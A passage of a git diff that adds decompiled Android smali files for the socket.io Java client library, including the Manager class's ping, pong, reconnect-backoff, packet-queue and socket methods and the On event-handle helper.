+ sget-object v0, Lio/socket/client/Manager$ReadyState;->OPEN:Lio/socket/client/Manager$ReadyState;
+
+ iput-object v0, p0, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ .line 342
+ const/4 v0, 0x0
+
+ new-array v0, v0, [Ljava/lang/Object;
+
+ invoke-virtual {p0, v1, v0}, Lio/socket/client/Manager;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 344
+ iget-object v0, p0, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ .line 345
+ .local v0, "socket":Lio/socket/engineio/client/Socket;
+ iget-object v1, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ new-instance v2, Lio/socket/client/Manager$2;
+
+ invoke-direct {v2, p0}, Lio/socket/client/Manager$2;->(Lio/socket/client/Manager;)V
+
+ const-string v3, "data"
+
+ invoke-static {v0, v3, v2}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v2
+
+ invoke-interface {v1, v2}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 356
+ iget-object v1, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ new-instance v2, Lio/socket/client/Manager$3;
+
+ invoke-direct {v2, p0}, Lio/socket/client/Manager$3;->(Lio/socket/client/Manager;)V
+
+ const-string v3, "ping"
+
+ invoke-static {v0, v3, v2}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v2
+
+ invoke-interface {v1, v2}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 362
+ iget-object v1, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ new-instance v2, Lio/socket/client/Manager$4;
+
+ invoke-direct {v2, p0}, Lio/socket/client/Manager$4;->(Lio/socket/client/Manager;)V
+
+ const-string v3, "pong"
+
+ invoke-static {v0, v3, v2}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v2
+
+ invoke-interface {v1, v2}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 368
+ iget-object v1, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ new-instance v2, Lio/socket/client/Manager$5;
+
+ invoke-direct {v2, p0}, Lio/socket/client/Manager$5;->(Lio/socket/client/Manager;)V
+
+ const-string v3, "error"
+
+ invoke-static {v0, v3, v2}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v2
+
+ invoke-interface {v1, v2}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 374
+ iget-object v1, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ new-instance v2, Lio/socket/client/Manager$6;
+
+ invoke-direct {v2, p0}, Lio/socket/client/Manager$6;->(Lio/socket/client/Manager;)V
+
+ const-string v3, "close"
+
+ invoke-static {v0, v3, v2}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v2
+
+ invoke-interface {v1, v2}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 380
+ iget-object v1, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ iget-object v2, p0, Lio/socket/client/Manager;->decoder:Lio/socket/parser/Parser$Decoder;
+
+ sget-object v3, Lio/socket/parser/Parser$Decoder;->EVENT_DECODED:Ljava/lang/String;
+
+ new-instance v4, Lio/socket/client/Manager$7;
+
+ invoke-direct {v4, p0}, Lio/socket/client/Manager$7;->(Lio/socket/client/Manager;)V
+
+ invoke-static {v2, v3, v4}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v2
+
+ invoke-interface {v1, v2}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 386
+ return-void
+.end method
+
+.method private onping()V
+ .locals 2
+
+ .line 389
+ new-instance v0, Ljava/util/Date;
+
+ invoke-direct {v0}, Ljava/util/Date;->()V
+
+ iput-object v0, p0, Lio/socket/client/Manager;->lastPing:Ljava/util/Date;
+
+ .line 390
+ const/4 v0, 0x0
+
+ new-array v0, v0, [Ljava/lang/Object;
+
+ const-string v1, "ping"
+
+ invoke-direct {p0, v1, v0}, Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 391
+ return-void
+.end method
+
+.method private onpong()V
+ .locals 5
+
+ .line 394
+ const/4 v0, 0x1
+
+ new-array v0, v0, [Ljava/lang/Object;
+
+ iget-object v1, p0, Lio/socket/client/Manager;->lastPing:Ljava/util/Date;
+
+ if-eqz v1, :cond_0
+
+ new-instance v1, Ljava/util/Date;
+
+ invoke-direct {v1}, Ljava/util/Date;->()V
+
+ .line 395
+ invoke-virtual {v1}, Ljava/util/Date;->getTime()J
+
+ move-result-wide v1
+
+ iget-object v3, p0, Lio/socket/client/Manager;->lastPing:Ljava/util/Date;
+
+ invoke-virtual {v3}, Ljava/util/Date;->getTime()J
+
+ move-result-wide v3
+
+ sub-long/2addr v1, v3
+
+ goto :goto_0
+
+ :cond_0
+ const-wide/16 v1, 0x0
+
+ :goto_0
+ invoke-static {v1, v2}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
+
+ move-result-object v1
+
+ const/4 v2, 0x0
+
+ aput-object v1, v0, v2
+
+ .line 394
+ const-string v1, "pong"
+
+ invoke-direct {p0, v1, v0}, Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 396
+ return-void
+.end method
+
+.method private onreconnect()V
+ .locals 4
+
+ .line 589
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v0}, Lio/socket/backo/Backoff;->getAttempts()I
+
+ move-result v0
+
+ .line 590
+ .local v0, "attempts":I
+ const/4 v1, 0x0
+
+ iput-boolean v1, p0, Lio/socket/client/Manager;->reconnecting:Z
+
+ .line 591
+ iget-object v2, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v2}, Lio/socket/backo/Backoff;->reset()V
+
+ .line 592
+ invoke-direct {p0}, Lio/socket/client/Manager;->updateSocketIds()V
+
+ .line 593
+ const/4 v2, 0x1
+
+ new-array v2, v2, [Ljava/lang/Object;
+
+ invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v3
+
+ aput-object v3, v2, v1
+
+ const-string v1, "reconnect"
+
+ invoke-direct {p0, v1, v2}, Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 594
+ return-void
+.end method
+
+.method private processPacketQueue()V
+ .locals 2
+
+ .line 481
+ iget-object v0, p0, Lio/socket/client/Manager;->packetBuffer:Ljava/util/List;
+
+ invoke-interface {v0}, Ljava/util/List;->isEmpty()Z
+
+ move-result v0
+
+ if-nez v0, :cond_0
+
+ iget-boolean v0, p0, Lio/socket/client/Manager;->encoding:Z
+
+ if-nez v0, :cond_0
+
+ .line 482
+ iget-object v0, p0, Lio/socket/client/Manager;->packetBuffer:Ljava/util/List;
+
+ const/4 v1, 0x0
+
+ invoke-interface {v0, v1}, Ljava/util/List;->remove(I)Ljava/lang/Object;
+
+ move-result-object v0
+
+ check-cast v0, Lio/socket/parser/Packet;
+
+ .line 483
+ .local v0, "pack":Lio/socket/parser/Packet;
+ invoke-virtual {p0, v0}, Lio/socket/client/Manager;->packet(Lio/socket/parser/Packet;)V
+
+ .line 485
+ .end local v0 # "pack":Lio/socket/parser/Packet;
+ :cond_0
+ return-void
+.end method
+
+.method private reconnect()V
+ .locals 8
+
+ .line 529
+ iget-boolean v0, p0, Lio/socket/client/Manager;->reconnecting:Z
+
+ if-nez v0, :cond_2
+
+ iget-boolean v0, p0, Lio/socket/client/Manager;->skipReconnect:Z
+
+ if-eqz v0, :cond_0
+
+ goto :goto_1
+
+ .line 531
+ :cond_0
+ move-object v0, p0
+
+ .line 533
+ .local v0, "self":Lio/socket/client/Manager;
+ iget-object v1, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v1}, Lio/socket/backo/Backoff;->getAttempts()I
+
+ move-result v1
+
+ iget v2, p0, Lio/socket/client/Manager;->_reconnectionAttempts:I
+
+ const/4 v3, 0x0
+
+ if-lt v1, v2, :cond_1
+
+ .line 534
+ sget-object v1, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ const-string v2, "reconnect failed"
+
+ invoke-virtual {v1, v2}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 535
+ iget-object v1, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v1}, Lio/socket/backo/Backoff;->reset()V
+
+ .line 536
+ new-array v1, v3, [Ljava/lang/Object;
+
+ const-string v2, "reconnect_failed"
+
+ invoke-direct {p0, v2, v1}, Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 537
+ iput-boolean v3, p0, Lio/socket/client/Manager;->reconnecting:Z
+
+ goto :goto_0
+
+ .line 539
+ :cond_1
+ iget-object v1, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v1}, Lio/socket/backo/Backoff;->duration()J
+
+ move-result-wide v1
+
+ .line 540
+ .local v1, "delay":J
+ sget-object v4, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ const/4 v5, 0x1
+
+ new-array v6, v5, [Ljava/lang/Object;
+
+ invoke-static {v1, v2}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
+
+ move-result-object v7
+
+ aput-object v7, v6, v3
+
+ const-string v3, "will wait %dms before reconnect attempt"
+
+ invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v3
+
+ invoke-virtual {v4, v3}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 542
+ iput-boolean v5, p0, Lio/socket/client/Manager;->reconnecting:Z
+
+ .line 543
+ new-instance v3, Ljava/util/Timer;
+
+ invoke-direct {v3}, Ljava/util/Timer;->()V
+
+ .line 544
+ .local v3, "timer":Ljava/util/Timer;
+ new-instance v4, Lio/socket/client/Manager$11;
+
+ invoke-direct {v4, p0, v0}, Lio/socket/client/Manager$11;->(Lio/socket/client/Manager;Lio/socket/client/Manager;)V
+
+ invoke-virtual {v3, v4, v1, v2}, Ljava/util/Timer;->schedule(Ljava/util/TimerTask;J)V
+
+ .line 579
+ iget-object v4, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ new-instance v5, Lio/socket/client/Manager$12;
+
+ invoke-direct {v5, p0, v3}, Lio/socket/client/Manager$12;->(Lio/socket/client/Manager;Ljava/util/Timer;)V
+
+ invoke-interface {v4, v5}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 586
+ .end local v1 # "delay":J
+ .end local v3 # "timer":Ljava/util/Timer;
+ :goto_0
+ return-void
+
+ .line 529
+ .end local v0 # "self":Lio/socket/client/Manager;
+ :cond_2
+ :goto_1
+ return-void
+.end method
+
+.method private updateSocketIds()V
+ .locals 3
+
+ .line 164
+ iget-object v0, p0, Lio/socket/client/Manager;->nsps:Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-virtual {v0}, Ljava/util/concurrent/ConcurrentHashMap;->values()Ljava/util/Collection;
+
+ move-result-object v0
+
+ invoke-interface {v0}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
+
+ move-result-object v0
+
+ :goto_0
+ invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
+
+ move-result v1
+
+ if-eqz v1, :cond_0
+
+ invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
+
+ move-result-object v1
+
+ check-cast v1, Lio/socket/client/Socket;
+
+ .line 165
+ .local v1, "socket":Lio/socket/client/Socket;
+ iget-object v2, p0, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ invoke-virtual {v2}, Lio/socket/engineio/client/Socket;->id()Ljava/lang/String;
+
+ move-result-object v2
+
+ iput-object v2, v1, Lio/socket/client/Socket;->id:Ljava/lang/String;
+
+ .line 166
+ .end local v1 # "socket":Lio/socket/client/Socket;
+ goto :goto_0
+
+ .line 167
+ :cond_0
+ return-void
+.end method
+
+
+# virtual methods
+.method close()V
+ .locals 2
+
+ .line 501
+ sget-object v0, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ const-string v1, "disconnect"
+
+ invoke-virtual {v0, v1}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 502
+ const/4 v0, 0x1
+
+ iput-boolean v0, p0, Lio/socket/client/Manager;->skipReconnect:Z
+
+ .line 503
+ const/4 v0, 0x0
+
+ iput-boolean v0, p0, Lio/socket/client/Manager;->reconnecting:Z
+
+ .line 504
+ iget-object v0, p0, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ sget-object v1, Lio/socket/client/Manager$ReadyState;->OPEN:Lio/socket/client/Manager$ReadyState;
+
+ if-eq v0, v1, :cond_0
+
+ .line 507
+ invoke-direct {p0}, Lio/socket/client/Manager;->cleanup()V
+
+ .line 509
+ :cond_0
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v0}, Lio/socket/backo/Backoff;->reset()V
+
+ .line 510
+ sget-object v0, Lio/socket/client/Manager$ReadyState;->CLOSED:Lio/socket/client/Manager$ReadyState;
+
+ iput-object v0, p0, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ .line 511
+ iget-object v0, p0, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ if-eqz v0, :cond_1
+
+ .line 512
+ invoke-virtual {v0}, Lio/socket/engineio/client/Socket;->close()Lio/socket/engineio/client/Socket;
+
+ .line 514
+ :cond_1
+ return-void
+.end method
+
+.method destroy(Lio/socket/client/Socket;)V
+ .locals 1
+ .param p1, "socket" # Lio/socket/client/Socket;
+
+ .line 449
+ iget-object v0, p0, Lio/socket/client/Manager;->connecting:Ljava/util/Set;
+
+ invoke-interface {v0, p1}, Ljava/util/Set;->remove(Ljava/lang/Object;)Z
+
+ .line 450
+ iget-object v0, p0, Lio/socket/client/Manager;->connecting:Ljava/util/Set;
+
+ invoke-interface {v0}, Ljava/util/Set;->isEmpty()Z
+
+ move-result v0
+
+ if-nez v0, :cond_0
+
+ return-void
+
+ .line 452
+ :cond_0
+ invoke-virtual {p0}, Lio/socket/client/Manager;->close()V
+
+ .line 453
+ return-void
+.end method
+
+.method public open()Lio/socket/client/Manager;
+ .locals 1
+
+ .line 240
+ const/4 v0, 0x0
+
+ invoke-virtual {p0, v0}, Lio/socket/client/Manager;->open(Lio/socket/client/Manager$OpenCallback;)Lio/socket/client/Manager;
+
+ move-result-object v0
+
+ return-object v0
+.end method
+
+.method public open(Lio/socket/client/Manager$OpenCallback;)Lio/socket/client/Manager;
+ .locals 1
+ .param p1, "fn" # Lio/socket/client/Manager$OpenCallback;
+
+ .line 250
+ new-instance v0, Lio/socket/client/Manager$1;
+
+ invoke-direct {v0, p0, p1}, Lio/socket/client/Manager$1;->(Lio/socket/client/Manager;Lio/socket/client/Manager$OpenCallback;)V
+
+ invoke-static {v0}, Lio/socket/thread/EventThread;->exec(Ljava/lang/Runnable;)V
+
+ .line 333
+ return-object p0
+.end method
+
+.method packet(Lio/socket/parser/Packet;)V
+ .locals 4
+ .param p1, "packet" # Lio/socket/parser/Packet;
+
+ .line 456
+ sget-object v0, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ const/4 v1, 0x1
+
+ new-array v2, v1, [Ljava/lang/Object;
+
+ const/4 v3, 0x0
+
+ aput-object p1, v2, v3
+
+ const-string v3, "writing packet %s"
+
+ invoke-static {v3, v2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v2
+
+ invoke-virtual {v0, v2}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 457
+ move-object v0, p0
+
+ .line 459
+ .local v0, "self":Lio/socket/client/Manager;
+ iget-boolean v2, v0, Lio/socket/client/Manager;->encoding:Z
+
+ if-nez v2, :cond_0
+
+ .line 460
+ iput-boolean v1, v0, Lio/socket/client/Manager;->encoding:Z
+
+ .line 461
+ iget-object v1, p0, Lio/socket/client/Manager;->encoder:Lio/socket/parser/Parser$Encoder;
+
+ new-instance v2, Lio/socket/client/Manager$10;
+
+ invoke-direct {v2, p0, v0}, Lio/socket/client/Manager$10;->(Lio/socket/client/Manager;Lio/socket/client/Manager;)V
+
+ invoke-virtual {v1, p1, v2}, Lio/socket/parser/Parser$Encoder;->encode(Lio/socket/parser/Packet;Lio/socket/parser/Parser$Encoder$Callback;)V
+
+ goto :goto_0
+
+ .line 476
+ :cond_0
+ iget-object v1, v0, Lio/socket/client/Manager;->packetBuffer:Ljava/util/List;
+
+ invoke-interface {v1, p1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
+
+ .line 478
+ :goto_0
+ return-void
+.end method
+
+.method public final randomizationFactor()D
+ .locals 2
+
+ .line 200
+ iget-wide v0, p0, Lio/socket/client/Manager;->_randomizationFactor:D
+
+ return-wide v0
+.end method
+
+.method public randomizationFactor(D)Lio/socket/client/Manager;
+ .locals 1
+ .param p1, "v" # D
+
+ .line 204
+ iput-wide p1, p0, Lio/socket/client/Manager;->_randomizationFactor:D
+
+ .line 205
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ if-eqz v0, :cond_0
+
+ .line 206
+ invoke-virtual {v0, p1, p2}, Lio/socket/backo/Backoff;->setJitter(D)Lio/socket/backo/Backoff;
+
+ .line 208
+ :cond_0
+ return-object p0
+.end method
+
+.method public reconnection(Z)Lio/socket/client/Manager;
+ .locals 0
+ .param p1, "v" # Z
+
+ .line 174
+ iput-boolean p1, p0, Lio/socket/client/Manager;->_reconnection:Z
+
+ .line 175
+ return-object p0
+.end method
+
+.method public reconnection()Z
+ .locals 1
+
+ .line 170
+ iget-boolean v0, p0, Lio/socket/client/Manager;->_reconnection:Z
+
+ return v0
+.end method
+
+.method public reconnectionAttempts()I
+ .locals 1
+
+ .line 179
+ iget v0, p0, Lio/socket/client/Manager;->_reconnectionAttempts:I
+
+ return v0
+.end method
+
+.method public reconnectionAttempts(I)Lio/socket/client/Manager;
+ .locals 0
+ .param p1, "v" # I
+
+ .line 183
+ iput p1, p0, Lio/socket/client/Manager;->_reconnectionAttempts:I
+
+ .line 184
+ return-object p0
+.end method
+
+.method public final reconnectionDelay()J
+ .locals 2
+
+ .line 188
+ iget-wide v0, p0, Lio/socket/client/Manager;->_reconnectionDelay:J
+
+ return-wide v0
+.end method
+
+.method public reconnectionDelay(J)Lio/socket/client/Manager;
+ .locals 1
+ .param p1, "v" # J
+
+ .line 192
+ iput-wide p1, p0, Lio/socket/client/Manager;->_reconnectionDelay:J
+
+ .line 193
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ if-eqz v0, :cond_0
+
+ .line 194
+ invoke-virtual {v0, p1, p2}, Lio/socket/backo/Backoff;->setMin(J)Lio/socket/backo/Backoff;
+
+ .line 196
+ :cond_0
+ return-object p0
+.end method
+
+.method public final reconnectionDelayMax()J
+ .locals 2
+
+ .line 212
+ iget-wide v0, p0, Lio/socket/client/Manager;->_reconnectionDelayMax:J
+
+ return-wide v0
+.end method
+
+.method public reconnectionDelayMax(J)Lio/socket/client/Manager;
+ .locals 1
+ .param p1, "v" # J
+
+ .line 216
+ iput-wide p1, p0, Lio/socket/client/Manager;->_reconnectionDelayMax:J
+
+ .line 217
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ if-eqz v0, :cond_0
+
+ .line 218
+ invoke-virtual {v0, p1, p2}, Lio/socket/backo/Backoff;->setMax(J)Lio/socket/backo/Backoff;
+
+ .line 220
+ :cond_0
+ return-object p0
+.end method
+
+.method public socket(Ljava/lang/String;)Lio/socket/client/Socket;
+ .locals 6
+ .param p1, "nsp" # Ljava/lang/String;
+
+ .line 422
+ iget-object v0, p0, Lio/socket/client/Manager;->nsps:Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-virtual {v0, p1}, Ljava/util/concurrent/ConcurrentHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
+
+ move-result-object v0
+
+ check-cast v0, Lio/socket/client/Socket;
+
+ .line 423
+ .local v0, "socket":Lio/socket/client/Socket;
+ if-nez v0, :cond_1
+
+ .line 424
+ new-instance v1, Lio/socket/client/Socket;
+
+ invoke-direct {v1, p0, p1}, Lio/socket/client/Socket;->(Lio/socket/client/Manager;Ljava/lang/String;)V
+
+ move-object v0, v1
+
+ .line 425
+ iget-object v1, p0, Lio/socket/client/Manager;->nsps:Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-virtual {v1, p1, v0}, Ljava/util/concurrent/ConcurrentHashMap;->putIfAbsent(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ move-result-object v1
+
+ check-cast v1, Lio/socket/client/Socket;
+
+ .line 426
+ .local v1, "_socket":Lio/socket/client/Socket;
+ if-eqz v1, :cond_0
+
+ .line 427
+ move-object v0, v1
+
+ goto :goto_0
+
+ .line 429
+ :cond_0
+ move-object v2, p0
+
+ .line 430
+ .local v2, "self":Lio/socket/client/Manager;
+ move-object v3, v0
+
+ .line 431
+ .local v3, "s":Lio/socket/client/Socket;
+ new-instance v4, Lio/socket/client/Manager$8;
+
+ invoke-direct {v4, p0, v2, v3}, Lio/socket/client/Manager$8;->(Lio/socket/client/Manager;Lio/socket/client/Manager;Lio/socket/client/Socket;)V
+
+ const-string v5, "connecting"
+
+ invoke-virtual {v0, v5, v4}, Lio/socket/client/Socket;->on(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/emitter/Emitter;
+
+ .line 437
+ new-instance v4, Lio/socket/client/Manager$9;
+
+ invoke-direct {v4, p0, v3, v2}, Lio/socket/client/Manager$9;->(Lio/socket/client/Manager;Lio/socket/client/Socket;Lio/socket/client/Manager;)V
+
+ const-string v5, "connect"
+
+ invoke-virtual {v0, v5, v4}, Lio/socket/client/Socket;->on(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/emitter/Emitter;
+
+ .line 445
+ .end local v1 # "_socket":Lio/socket/client/Socket;
+ .end local v2 # "self":Lio/socket/client/Manager;
+ .end local v3 # "s":Lio/socket/client/Socket;
+ :cond_1
+ :goto_0
+ return-object v0
+.end method
+
+.method public timeout()J
+ .locals 2
+
+ .line 224
+ iget-wide v0, p0, Lio/socket/client/Manager;->_timeout:J
+
+ return-wide v0
+.end method
+
+.method public timeout(J)Lio/socket/client/Manager;
+ .locals 0
+ .param p1, "v" # J
+
+ .line 228
+ iput-wide p1, p0, Lio/socket/client/Manager;->_timeout:J
+
+ .line 229
+ return-object p0
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/On$1.smali b/server/app/factory/decompiled/smali/io/socket/client/On$1.smali
new file mode 100644
index 0000000..fd62a55
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/On$1.smali
@@ -0,0 +1,60 @@
+.class final Lio/socket/client/On$1;
+.super Ljava/lang/Object;
+.source "On.java"
+
+# interfaces
+.implements Lio/socket/client/On$Handle;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x8
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic val$ev:Ljava/lang/String;
+
+.field final synthetic val$fn:Lio/socket/emitter/Emitter$Listener;
+
+.field final synthetic val$obj:Lio/socket/emitter/Emitter;
+
+
+# direct methods
+.method constructor (Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)V
+ .locals 0
+
+ .line 11
+ iput-object p1, p0, Lio/socket/client/On$1;->val$obj:Lio/socket/emitter/Emitter;
+
+ iput-object p2, p0, Lio/socket/client/On$1;->val$ev:Ljava/lang/String;
+
+ iput-object p3, p0, Lio/socket/client/On$1;->val$fn:Lio/socket/emitter/Emitter$Listener;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public destroy()V
+ .locals 3
+
+ .line 14
+ iget-object v0, p0, Lio/socket/client/On$1;->val$obj:Lio/socket/emitter/Emitter;
+
+ iget-object v1, p0, Lio/socket/client/On$1;->val$ev:Ljava/lang/String;
+
+ iget-object v2, p0, Lio/socket/client/On$1;->val$fn:Lio/socket/emitter/Emitter$Listener;
+
+ invoke-virtual {v0, v1, v2}, Lio/socket/emitter/Emitter;->off(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/emitter/Emitter;
+
+ .line 15
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/On$Handle.smali b/server/app/factory/decompiled/smali/io/socket/client/On$Handle.smali
new file mode 100644
index 0000000..56786a9
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/On$Handle.smali
@@ -0,0 +1,19 @@
+.class public interface abstract Lio/socket/client/On$Handle;
+.super Ljava/lang/Object;
+.source "On.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lio/socket/client/On;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x609
+ name = "Handle"
+.end annotation
+
+
+# virtual methods
+.method public abstract destroy()V
+.end method
diff --git a/server/app/factory/decompiled/smali/io/socket/client/On.smali b/server/app/factory/decompiled/smali/io/socket/client/On.smali
new file mode 100644
index 0000000..cbef81c
--- /dev/null
+++ b/server/app/factory/decompiled/smali/io/socket/client/On.smali
@@ -0,0 +1,39 @@
+.class public Lio/socket/client/On;
+.super Ljava/lang/Object;
+.source "On.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/MemberClasses;
+ value = {
+ Lio/socket/client/On$Handle;
+ }
+.end annotation
+
+
+# direct methods
+.method private constructor ()V
+ .locals 0
+
+ .line 7
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method public static on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+ .locals 1
+ .param p0, "obj" # Lio/socket/emitter/Emitter;
+ .param p1, "ev" # Ljava/lang/String;
+ .param p2, "fn" # Lio/socket/emitter/Emitter$Listener;
+
+ .line 10
+ invoke-virtual {p0, p1, p2}, Lio/socket/emitter/Emitter;->on(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/emitter/Emitter;
+
+ .line 11
+ new-instance v0, Lio/socket/client/On$1;
+
+ invoke-direct {v0, p0, p1, p2}, Lio/socket/client/On$1;->